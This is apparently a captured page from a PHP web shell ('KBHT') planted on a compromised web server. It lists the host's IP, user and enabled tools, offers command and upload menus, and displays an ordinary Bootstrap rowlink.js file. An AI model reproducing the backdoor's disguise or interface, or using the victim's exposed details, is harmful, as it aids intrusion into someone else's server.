GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.221.8.126
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../web/admin/global_assets/js/plugins/extensions/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../web/admin/global_assets/js/plugins/extensions/rowlink.js
/* ============================================================
 * Bootstrap: rowlink.js v3.1.3
 * http://jasny.github.io/bootstrap/javascript/#rowlink
 * ============================================================
 * Copyright 2012-2014 Arnold Daniels
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 * ============================================================ */

+function ($) { "use strict";

  var Rowlink = function (element, options) {
    this.$element = $(element)
    this.options = $.extend({}, Rowlink.DEFAULTS, options)

    this.$element.on('click.bs.rowlink mouseup.bs.rowlink', 'td:not(.rowlink-skip)', $.proxy(this.click, this))
  }

  Rowlink.DEFAULTS = {
    target: "a"
  }

  Rowlink.prototype.click = function(e, ctrlKey) {
    var target = $(e.currentTarget).closest('tr').find(this.options.target)[0]

    if (typeof target === 'undefined' || $(e.target)[0] === target) return
    if (e.type === 'mouseup' && e.which !== 2) return

    e.preventDefault();
    ctrlKey = ctrlKey || e.ctrlKey || (e.type === 'mouseup' && e.which === 2)

    if (!ctrlKey && target.click) {
      target.click()
    } else if (document.createEvent) {
      var evt = new MouseEvent("click", {
          view: window,
          bubbles: true,
          cancelable: true,
          ctrlKey: ctrlKey
       });
      target.dispatchEvent(evt);
    }
  }


  // ROWLINK PLUGIN DEFINITION
  // ===========================

  var old = $.fn.rowlink

  $.fn.rowlink = function (options) {
    return this.each(function () {
      var $this = $(this)
      var data = $this.data('bs.rowlink')
      if (!data) $this.data('bs.rowlink', (data = new Rowlink(this, options)))
    })
  }

  $.fn.rowlink.Constructor = Rowlink


  // ROWLINK NO CONFLICT
  // ====================

  $.fn.rowlink.noConflict = function () {
    $.fn.rowlink = old
    return this
  }


  // ROWLINK DATA-API
  // ==================

  $(document).on('click.bs.rowlink.data-api mouseup.bs.rowlink.data-api', '[data-link="row"]', function (e) {
    if (e.type === 'mouseup' && e.which !== 2) return
    if ($(e.target).closest('.rowlink-skip').length !== 0) return

    var $this = $(this)
    if ($this.data('bs.rowlink')) return
    $this.rowlink($this.data())

    var ctrlKey = e.ctrlKey || e.which === 2
    $(e.target).trigger('click.bs.rowlink', [ctrlKey])
  })

}(window.jQuery);

KBHT - 2023